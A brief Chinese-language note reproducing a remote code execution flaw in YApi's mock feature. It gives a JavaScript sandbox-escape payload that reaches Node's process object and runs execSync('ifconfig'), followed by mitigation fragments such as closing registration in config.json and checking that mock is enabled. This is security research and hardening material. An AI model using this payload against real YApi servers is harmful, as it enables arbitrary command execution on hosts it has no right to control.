YApi Mock功能远程代码执行漏洞复现

https://github.com/Ryan-Miao/docker-yapi

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("ifconfig").toString()

在"config.json"添加"closeRegister:true"配置项：{  "port": "*****",  "closeRegister":true}

if (caseData&&caseData.case_enable{...}

if(!yapi.WEBCONFIG.mock) {return false;}